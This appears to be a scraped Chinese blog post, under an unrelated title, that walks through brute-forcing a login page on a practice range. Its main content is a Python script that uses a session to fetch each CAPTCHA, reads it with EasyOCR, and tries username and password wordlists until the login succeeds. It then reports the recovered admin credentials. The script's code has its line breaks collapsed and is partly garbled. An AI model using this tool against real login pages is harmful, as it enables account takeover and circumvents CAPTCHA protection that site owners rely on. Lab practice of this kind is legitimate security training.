vs做網(wǎng)站出現(xiàn)顯示bug百度搜索資源平臺(tái)提交
寫在前面
由于驗(yàn)證碼在服務(wù)端生成后存儲(chǔ)在服務(wù)器的session中,而標(biāo)用于標(biāo)識(shí)用戶身份的sessionid存在于用戶cookie中
所以本次識(shí)別驗(yàn)證碼時(shí)需要用requests.session()創(chuàng)建會(huì)話對象,模擬真實(shí)的瀏覽器行為,保持與服務(wù)器的會(huì)話才能獲取登錄時(shí)服務(wù)器為用戶生成驗(yàn)證碼,也省去了手動(dòng)在python代碼中手動(dòng)輸入cookie的步驟
安裝OCR庫(需要python3.9)
Github地址:https://github.com/JaidedAI/EasyOCR
pip install easyocr
相關(guān)代碼?
import requests
import easyocr# 填入請求地址
code_url = "http://localhost/yanzhengma.php"
login_url = "http://localhost/login.php"bf_flag = False
# success為未知,但可以嘗試出登陸失敗的信息
success = ""
failure = ["你的驗(yàn)證碼不正確,請重新輸入","您輸入的用戶名不存在","密碼錯(cuò)誤,請重新輸入"]
count = 0
# easyocr相關(guān)初始化設(shè)置識(shí)別英文字母或數(shù)字,不輸出詳細(xì)運(yùn)行信息
reader = easyocr.Reader(['en'])
# 由于驗(yàn)證碼在服務(wù)端生成后存儲(chǔ)在服務(wù)器的session中,而標(biāo)用于標(biāo)識(shí)用戶身份的sessionid存在于用戶cookie中
# 所以這里需要用requests.session()創(chuàng)建會(huì)話對象,模擬真實(shí)的瀏覽器行為,保持與服務(wù)器的會(huì)話才能獲取登錄時(shí)為用戶生成驗(yàn)證碼
session = requests.session()with open("./user.txt", 'r') as file_usr:with open("./pswd.txt", 'r') as file_pwd:while not bf_flag:first = file_usr.readline()if not first:break# 在內(nèi)層循環(huán)之前,重置文件指針到文件開頭實(shí)現(xiàn)遍歷file_pwd.seek(0)while not bf_flag:second = file_pwd.readline()if not second:breakfirst = first.strip()second = second.strip()count += 1# 用會(huì)話對象向?yàn)g覽器發(fā)請求并將驗(yàn)證碼圖片保存img = session.get(url = code_url).contentwith open('./code.jpg','wb') as code_file:code_file.write(img)# 識(shí)別驗(yàn)證碼內(nèi)容try:result = reader.readtext('./code.jpg')# 取出識(shí)別結(jié)果target_code = [text for (_, text, _) in result][0]except:print("第"+ str(count) +"次嘗試--失敗:識(shí)別出現(xiàn)錯(cuò)誤")if len(target_code) < 4:print("第" + str(count) + "次嘗試--驗(yàn)證碼識(shí)別出錯(cuò)")print(target_code)response = session.post(url = login_url,data = {"name":first, "pwd":second, "yzm":target_code ,"login":"%E7%99%BB%E5%BD%95"})print(response.text)check_flag = Truefor context in failure:if context in response.text:print("第"+ str(count) +"次嘗試--失敗:",first + " " + second)check_flag = Falsebreak;if check_flag:print("第"+ str(count) +"次嘗試--成功:",first + " " + second)bf_flag = True;break;
使用方式?
進(jìn)入靶場隨意嘗試?
發(fā)現(xiàn)是用POST方式進(jìn)行的請求,請求地址為/login.php需要將此地址填入腳本相應(yīng)位置
右鍵驗(yàn)證碼部分查看生成驗(yàn)證碼的請求地址?
復(fù)制鏈接進(jìn)行嘗試,刷新一次即可得到一個(gè)隨機(jī)的驗(yàn)證碼,需要將此地址填入腳本相應(yīng)位置
運(yùn)行腳本等待結(jié)果,由于OCR識(shí)別會(huì)有各種各樣的問題,有時(shí)需要重復(fù)跑幾遍才能得到想要的結(jié)果
可以看到賬號(hào)為admin密碼為1234556時(shí)沒有產(chǎn)生報(bào)錯(cuò)信息,暴力破解成功